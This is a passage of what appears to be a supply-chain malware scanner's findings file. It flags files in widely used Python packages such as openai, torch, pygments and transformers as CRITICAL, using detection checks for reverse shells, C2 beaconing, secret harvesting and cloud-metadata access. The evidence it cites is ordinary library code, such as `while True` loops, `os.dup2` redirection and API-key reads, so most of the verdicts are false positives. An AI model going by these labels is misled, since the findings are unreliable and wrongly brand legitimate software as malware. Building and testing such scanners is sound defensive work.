"Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" + }, + { + "package": "openai", + "file": "openai/auth/_workload.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L97: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78: http_client: httpx.Client | None = None, | L109: with httpx.Client() as client: | L134: http_client: httpx.Client | None = None, | L156: with httpx.Client() as client: | L251: exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()", + "evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0" + }, + { + "package": "openai", + "file": "openai/lib/azure.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" + }, + { + "package": "openai", + "file": "openai/lib/bedrock.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" + }, + { + "package": "openai", + "file": "openai/resources/beta/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd", + "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f" + }, + { + "package": "openai", + "file": "openai/resources/beta/threads/runs/runs.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1053: while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce", + "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b" + }, + { + "package": "openai", + "file": "openai/resources/realtime/realtime.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5", + "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650" + }, + { + "package": "openai", + "file": "openai/resources/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac", + "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f" + }, + { + "package": "openai", + "file": "openai/resources/vector_stores/file_batches.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", + "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" + }, + { + "package": "openai", + "file": "openai/resources/vector_stores/files.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", + "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" + }, + { + "package": "openai", + "file": "openai/resources/videos.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", + "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" + }, + { + "package": "protobuf", + "file": "protobuf-3.19.6-nspkg.pth", + "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", + "severity": "CRITICAL", + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", + "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" + }, + { + "package": "ptyprocess", + "file": "ptyprocess/_fork_pty.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", + "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/conftest.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", + "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_extension_type.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", + "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_flight.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", + "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_orc.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", + "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/util.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", + "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" + }, + { + "package": "pyarrow", + "file": "pyarrow/util.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", + "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" + }, + { + "package": "pygments", + "file": "pygments/formatters/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L103: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + }, + { + "package": "pygments", + "file": "pygments/lexers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L154: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + }, + { + "package": "pygments", + "file": "pygments/lexers/_mysql_builtins.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", + "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" + }, + { + "package": "pygments", + "file": "pygments/lexers/_php_builtins.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", + "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" + }, + { + "package": "pyperclip", + "file": "pyperclip/__init__.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", + "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" + }, + { + "package": "python-dateutil", + "file": "dateutil/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "rich", + "file": "rich/ansi.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L229: pty.spawn(sys.argv[1:], read)", + "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" + }, + { + "package": "rich", + "file": "rich/console.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + }, + { + "package": "rich-rst", + "file": "rich_rst/_vendor/docutils/readers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", + "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" + }, + { + "package": "rich-rst", + "file": "rich_rst/_vendor/docutils/writers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", + "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", + "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", + "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/cupy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/numpy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/torch/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/svm/tests/test_svm.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", + "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/cupy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/dask/array/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/numpy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/torch/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "sentencepiece", + "file": "sentencepiece/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" + }, + { + "package": "sentencepiece", + "file": "sentencepiece/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L772: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc" + }, + { + "package": "setuptools", + "file": "distutils-precedence.pth", + "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", + "severity": "CRITICAL", + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", + "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" + }, + { + "package": "setuptools", + "file": "setuptools/_distutils/tests/test_build_ext.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", + "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" + }, + { + "package": "setuptools", + "file": "setuptools/_vendor/jaraco/context/__init__.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + }, + { + "package": "sympy", + "file": "sympy/external/importtools.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L154: __import__(module + '.' + submod)", + "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" + }, + { + "package": "tiktoken", + "file": "tiktoken/load.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", + "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" + }, + { + "package": "torch", + "file": "functorch/dim/magic_trace.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", + "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" + }, + { + "package": "torch", + "file": "torch/_inductor/codecache.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", + "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" + }, + { + "package": "torch", + "file": "torch/_inductor/codecache.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: [\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )", + "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06" + }, + { + "package": "torch", + "file": "torch/ao/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/ao/nn/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/ao/nn/intrinsic/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/cuda/_memory_viz.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", + "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" + }, + { + "package": "torch", + "file": "torch/distributed/elastic/multiprocessing/redirects.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L218: os.dup2(dst.fileno(), std_fd)", + "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" + }, + { + "package": "torch", + "file": "torch/hub.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", + "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", + "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", + "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d", + "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865" + }, + { + "package": "torchvision", + "file": "torchvision/datasets/utils.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", + "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" + }, + { + "package": "traitlets", + "file": "traitlets/config/loader.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", + "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" + }, + { + "package": "transformers", + "file": "transformers/integrations/integration_utils.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" + }, + { + "package": "transformers", + "file": "transformers/integrations/integration_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", + "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", + "evidence_hash": 